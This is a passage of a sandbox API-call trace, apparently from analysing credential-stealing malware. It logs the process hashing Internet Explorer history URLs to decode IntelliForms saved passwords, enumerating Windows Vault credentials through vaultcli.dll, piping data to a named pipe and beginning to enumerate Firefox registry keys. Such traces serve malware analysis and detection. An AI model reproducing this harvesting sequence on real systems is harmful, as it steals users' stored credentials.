(hMem=0x28e7910) returned 0x0 [0098.184] CoTaskMemFree (pv=0x28c48e0) [0098.184] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.184] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/VihuLBb9PQiL%20O.pptx", lpSrch="?") returned 0x0 [0098.184] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.185] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.185] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/VihuLBb9PQiL%20O.pptx") returned 63 [0098.185] CryptHashData (hHash=0x7203e60, pbData=0x7185be0, dwDataLen=0x80, dwFlags=0x0) returned 1 [0098.185] CryptGetHashParam (in: hHash=0x7203e60, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.185] CryptDestroyHash (hHash=0x7203e60) returned 1 [0098.185] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.185] CoTaskMemFree (pv=0x7185be0) [0098.185] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.185] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/p61-x6Q.ots", lpSrch="?") returned 0x0 [0098.185] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.186] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.186] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/p61-x6Q.ots") returned 45 [0098.186] CryptHashData (hHash=0x72041e0, pbData=0x7203920, dwDataLen=0x5c, dwFlags=0x0) returned 1 [0098.186] CryptGetHashParam (in: hHash=0x72041e0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.186] CryptDestroyHash (hHash=0x72041e0) returned 1 [0098.186] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.186] CoTaskMemFree (pv=0x7203920) [0098.186] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.186] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/BF77dVayz84Lz3Pys.odp", lpSrch="?") returned 0x0 [0098.186] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.186] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.186] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/BF77dVayz84Lz3Pys.odp") returned 71 [0098.186] CryptHashData (hHash=0x7203920, pbData=0x28c8440, dwDataLen=0x90, dwFlags=0x0) returned 1 [0098.186] CryptGetHashParam (in: hHash=0x7203920, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.187] CryptDestroyHash (hHash=0x7203920) returned 1 [0098.187] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.187] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.187] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.187] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.187] LocalFree (hMem=0x28e7670) returned 0x0 [0098.187] CoTaskMemFree (pv=0x28c8440) [0098.187] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.187] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ZtzB50.ods", lpSrch="?") returned 0x0 [0098.187] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.188] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.188] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ZtzB50.ods") returned 60 [0098.188] CryptHashData (hHash=0x7203920, pbData=0x72243d0, dwDataLen=0x7a, dwFlags=0x0) returned 1 [0098.188] CryptGetHashParam (in: hHash=0x7203920, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.188] CryptDestroyHash (hHash=0x7203920) returned 1 [0098.188] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.188] CoTaskMemFree (pv=0x72243d0) [0098.188] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.188] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/4KATP.png", lpSrch="?") returned 0x0 [0098.188] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.188] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.188] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/4KATP.png") returned 43 [0098.189] CryptHashData (hHash=0x7203920, pbData=0x7201330, dwDataLen=0x58, dwFlags=0x0) returned 1 [0098.189] CryptGetHashParam (in: hHash=0x7203920, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.189] CryptDestroyHash (hHash=0x7203920) returned 1 [0098.189] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.189] CoTaskMemFree (pv=0x7201330) [0098.204] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.204] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/AHyV.gif", lpSrch="?") returned 0x0 [0098.204] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.204] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.204] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/AHyV.gif") returned 42 [0098.204] CryptHashData (hHash=0x7203920, pbData=0x7201510, dwDataLen=0x56, dwFlags=0x0) returned 1 [0098.204] CryptGetHashParam (in: hHash=0x7203920, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.204] CryptDestroyHash (hHash=0x7203920) returned 1 [0098.204] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.205] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.205] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.205] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.205] LocalFree (hMem=0x28e7910) returned 0x0 [0098.205] CoTaskMemFree (pv=0x7201510) [0098.205] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.205] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/th0kck.mkv", lpSrch="?") returned 0x0 [0098.205] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.206] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.206] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/th0kck.mkv") returned 52 [0098.206] CryptHashData (hHash=0x7203920, pbData=0x71e7820, dwDataLen=0x6a, dwFlags=0x0) returned 1 [0098.206] CryptGetHashParam (in: hHash=0x7203920, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.206] CryptDestroyHash (hHash=0x7203920) returned 1 [0098.206] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.206] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.206] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.206] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.206] LocalFree (hMem=0x28e7670) returned 0x0 [0098.206] CoTaskMemFree (pv=0x71e7820) [0098.206] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.206] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/j1z9VOGi%20PA5X.jpg", lpSrch="?") returned 0x0 [0098.206] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.207] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.207] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/j1z9VOGi%20PA5X.jpg") returned 59 [0098.207] CryptHashData (hHash=0x72035a0, pbData=0x71e70a0, dwDataLen=0x78, dwFlags=0x0) returned 1 [0098.207] CryptGetHashParam (in: hHash=0x72035a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.207] CryptDestroyHash (hHash=0x72035a0) returned 1 [0098.207] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.207] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.207] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.207] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.207] LocalFree (hMem=0x28e7910) returned 0x0 [0098.207] CoTaskMemFree (pv=0x71e70a0) [0098.207] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.207] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/2A6bXM9.rtf", lpSrch="?") returned 0x0 [0098.207] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.208] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.208] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/2A6bXM9.rtf") returned 57 [0098.208] CryptHashData (hHash=0x72035a0, pbData=0x71e77a0, dwDataLen=0x74, dwFlags=0x0) returned 1 [0098.208] CryptGetHashParam (in: hHash=0x72035a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.208] CryptDestroyHash (hHash=0x72035a0) returned 1 [0098.208] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.208] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.208] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.208] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.208] LocalFree (hMem=0x28e7670) returned 0x0 [0098.208] CoTaskMemFree (pv=0x71e77a0) [0098.208] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.208] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/mo0DEbXi.xlsx", lpSrch="?") returned 0x0 [0098.208] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.209] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.209] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/mo0DEbXi.xlsx") returned 49 [0098.209] CryptHashData (hHash=0x7202ce0, pbData=0x7203ca0, dwDataLen=0x64, dwFlags=0x0) returned 1 [0098.209] CryptGetHashParam (in: hHash=0x7202ce0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.209] CryptDestroyHash (hHash=0x7202ce0) returned 1 [0098.209] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.209] CoTaskMemFree (pv=0x7203ca0) [0098.209] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.209] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aRTD.ots", lpSrch="?") returned 0x0 [0098.209] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.210] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.210] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aRTD.ots") returned 58 [0098.210] CryptHashData (hHash=0x7203ca0, pbData=0x72120d0, dwDataLen=0x76, dwFlags=0x0) returned 1 [0098.210] CryptGetHashParam (in: hHash=0x7203ca0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.210] CryptDestroyHash (hHash=0x7203ca0) returned 1 [0098.210] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.210] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.210] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.210] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.210] LocalFree (hMem=0x28e7910) returned 0x0 [0098.210] CoTaskMemFree (pv=0x72120d0) [0098.210] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.210] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/JQKOZm.jpg", lpSrch="?") returned 0x0 [0098.210] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.211] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.211] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/JQKOZm.jpg") returned 63 [0098.211] CryptHashData (hHash=0x7203ca0, pbData=0x7186f00, dwDataLen=0x80, dwFlags=0x0) returned 1 [0098.211] CryptGetHashParam (in: hHash=0x7203ca0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.211] CryptDestroyHash (hHash=0x7203ca0) returned 1 [0098.211] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.211] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.211] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.211] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.211] LocalFree (hMem=0x28e7670) returned 0x0 [0098.211] CoTaskMemFree (pv=0x7186f00) [0098.211] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0) returned 0x1 [0098.211] IUnknown:Release (This=0x7293c80) returned 0x0 [0098.212] IUnknown:Release (This=0x43b3eb0) returned 0x1 [0098.212] LocalFree (hMem=0x719b340) returned 0x0 [0098.212] GetVersionExW (in: lpVersionInformation=0x54df920*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x54df920*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0098.212] LoadLibraryW (lpLibFileName="vaultcli.dll") returned 0x7fef2b60000 [0098.380] GetProcAddress (hModule=0x7fef2b60000, lpProcName="VaultOpenVault") returned 0x7fef2b64274 [0098.380] GetProcAddress (hModule=0x7fef2b60000, lpProcName="VaultCloseVault") returned 0x7fef2b642fc [0098.381] GetProcAddress (hModule=0x7fef2b60000, lpProcName="VaultEnumerateItems") returned 0x7fef2b650d4 [0098.381] GetProcAddress (hModule=0x7fef2b60000, lpProcName="VaultGetItem") returned 0x7fef2b65370 [0098.381] GetProcAddress (hModule=0x7fef2b60000, lpProcName="VaultGetItem") returned 0x7fef2b65370 [0098.382] GetProcAddress (hModule=0x7fef2b60000, lpProcName="VaultFree") returned 0x7fef2b6626c [0098.382] VaultOpenVault () returned 0x0 [0099.012] VaultEnumerateItems () returned 0x0 [0099.014] VaultFree () returned 0x0 [0099.014] VaultCloseVault () returned 0x0 [0099.017] FreeLibrary (hLibModule=0x7fef2b60000) returned 1 [0099.150] IStream:RemoteSeek (in: This=0x43cf6f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x54dfd60 | out: plibNewPosition=0x54dfd60) returned 0x0 [0099.153] IStream:RemoteSeek (in: This=0x43cf6f0, dlibMove=0x62, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0099.154] IStream:SetSize (This=0x43cf6f0, libNewSize=0x62) returned 0x0 [0099.154] IStream:RemoteSeek (in: This=0x43cf6f0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0099.155] IStream:Stat (in: This=0x43cf6f0, pstatstg=0x54dfdd0, grfStatFlag=0x1 | out: pstatstg=0x54dfdd0) returned 0x0 [0099.155] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x63) returned 0x9a7f180 [0099.157] ISequentialStream:RemoteRead (in: This=0x43cf6f0, pv=0x9a7f180, cb=0x62, pcbRead=0x54dfe78 | out: pv=0x9a7f180*=0x23, pcbRead=0x54dfe78*=0x62) returned 0x0 [0099.158] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x6e) returned 0x9b6fe70 [0099.160] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x9b6fe70, nInBufferSize=0x6e, lpOutBuffer=0x54dfd20, nOutBufferSize=0xc, lpBytesRead=0x54dfd70, nTimeOut=0x1 | out: lpOutBuffer=0x54dfd20, lpBytesRead=0x54dfd70) returned 1 [0099.203] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fe70 | out: hHeap=0x9770000) returned 1 [0099.203] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0099.209] StrStrIW (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0099.209] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x72f7c00 [0099.209] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x54dfd78 | out: phkResult=0x54dfd78*=0xb5c) returned 0x0 [0099.210] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegEnumKeyExW") returned 0x7fefd72c310 [0099.210] RegEnumKeyExW (in: hKey=0xb5c, dwIndex=0x0, lpName=0x72f7c00, lpcchName=0x54dfd68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x54dfd68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.210] lstrlenW (lpString="Software\\Mozilla") returned 16 [0099.210] lstrlenW (lpString="\\") returned 1 [0099.210] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x71cef90 [0099.210] lstrcpyW (in: lpString1=0x71cef90, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0099.210] lstrcatW (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0099.210] lstrlenW (lpString="Software\\Mozilla\\") returned 17 [0099.210] lstrlenW (lpString="Firefox") returned 7 [0099.210] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290930 [0099.210] lstrcpyW (in: lpString1=0x7290930, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0099.210] lstrcatW (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0099.210] LocalFree (hMem=0x71cef90) returned 0x0 [0099.210] StrStrIW (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0099.210] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x72f8c90 [0099.210] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x54dfd18 | out: phkResult=0x54dfd18*=0x12b0) returned 0x0 [0099.210] RegEnumKeyExW (in: hKey=0x12b0, dwIndex=0x0, lpName=0x72f8c90, lpcchName=0x54dfd08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x54dfd08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.210] lstrlenW (lpString="Software\\Mozilla\\Firefox") returned 24 [0099.210] lstrlenW (lpString="\\") returned 1 [0099.210] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x72907b0 [0099.210] lstrcpyW (in: lpString1=0x72907b0, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0099.210] lstrcatW (in: 